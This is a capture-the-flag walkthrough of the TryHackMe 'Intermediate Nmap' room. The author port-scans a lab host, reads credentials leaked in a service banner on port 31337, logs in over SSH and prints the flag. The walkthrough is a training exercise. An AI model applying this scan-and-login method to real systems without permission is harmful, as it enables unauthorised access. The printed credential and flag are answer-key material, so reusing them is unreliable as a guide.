



Intermediate Nmap (Very Easy)

Active Machine Information

Title	IP Address	Expires	
Intermediate Nmap	10.10.130.178	51m 44s	<div>? Add 1 hour</div> <div>Terminate</div>

100%

Task 1 Intermediate Nmap

You've learned some great `nmap` skills! Now can you combine that with other skills with `netcat` and protocols, to log in to this machine and find the flag? This VM 10.10.130.178 is listening on a high port, and if you connect to it it may give you some information you can use to connect to a lower port commonly used for remote access!

Start Machine

Access this challenge by deploying both the vulnerable machine by pressing the green "Start Machine" button located within this task, and the TryHackMe AttackBox by pressing the "Start AttackBox" button located at the top-right of the page.

Use the AttackBox to scan the target: **10.10.130.178**

Check out similar content on TryHackMe:

- [Nmap Module](#)

Enumeration

```

(kali㉿kali)-[~]
$ sudo nmap -p- --min-rate 5000 -Pn 10.10.130.178
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 00:02 EDT
Nmap scan report for 10.10.130.178
Host is up (0.18s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
2222/tcp  open  EtherNetIP-1
31337/tcp open  Elite

Nmap done: 1 IP address (1 host up) scanned in 13.78 seconds

```

```

(kali㉿kali)-[~]
$ sudo nmap -sV -sC -A -Pn -p 22,2222,31337 10.10.130.178
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 00:02 EDT
Nmap scan report for 10.10.130.178
Host is up (0.18s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7ddceb90e4af33d99f0b219afcd577f2 (RSA)
|   256 83a74a61ef93a3571a57385c482aeb16 (ECDSA)
|_  256 30bfef9408860700f7fcdfe8edfe07af (ED25519)
2222/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 66d9fbd98d9b9fb7ed6cb4cc5c757f6c (RSA)
|   256 21368aa8804d08c81112ea1502586033 (ECDSA)
|_  256 25c234d80bdd764a251f3e6f65775baa (ED25519)
31337/tcp open  Elite?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest,
ros, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, SIPOptionReq,
TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
|   In case I forget - user:pass
|_  ubuntu:Dafdas!!/str0ng

```

We found the creds through port `31337` at line:

```

In case I forget - user:pass
|_  ubuntu:Dafdas!!/str0ng

```

The creds: `ubuntu:Dafdas!!/str0ng`

Exploit - Gain Access → Get Flag

Now try to use the previous creds to login `ssh`

```
(kali㉿kali)-[~]
└─$ ssh ubuntu@10.10.130.178
ubuntu@10.10.130.178's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1014-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage
```

```
(kali㉿kali)-[~]
└─$ ssh ubuntu@10.10.130.178
The authenticity of host '10.10.130.178 (10.10.130.178)' can't be established
ED25519 key fingerprint is SHA256:8VuYGtc5lO2sXK+MVsdbgQV9nF+EVHf8wJcrMAEWg10
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.130.178' (ED25519) to the list of known hosts
ubuntu@10.10.130.178's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-1014-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
* If you are unable to load any pages, check your computer's network connection.

The programs included with the Ubuntu system are free software; to access the
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

$ whoami
ubuntu
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
$ pwd
```

Now we are in! Navigate the flag's directory and get it!

```
$ pwd
/home/ubuntu
$ ls -la
total 28
```

```
drwxr-xr-x 1 ubuntu ubuntu 4096 Jun 29 04:07 .
drwxr-xr-x 1 root root 4096 Mar 2 2022 ..
-rw-r--r-- 1 ubuntu ubuntu 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25 2020 .bashrc
drwx----- 2 ubuntu ubuntu 4096 Jun 29 04:07 .cache
-rw-r--r-- 1 ubuntu ubuntu 807 Feb 25 2020 .profile
$ cd ..
$ ls
ubuntu user
$ cd user
$ ls -la
total 16
drwxr-xr-x 2 root root 4096 Mar 2 2022 .
drwxr-xr-x 1 root root 4096 Mar 2 2022 ..
-rw-rw-r-- 1 root root 38 Mar 2 2022 flag.txt
$ cat flag.txt
flag{251f309497a1888dde5222761ea88e4}
```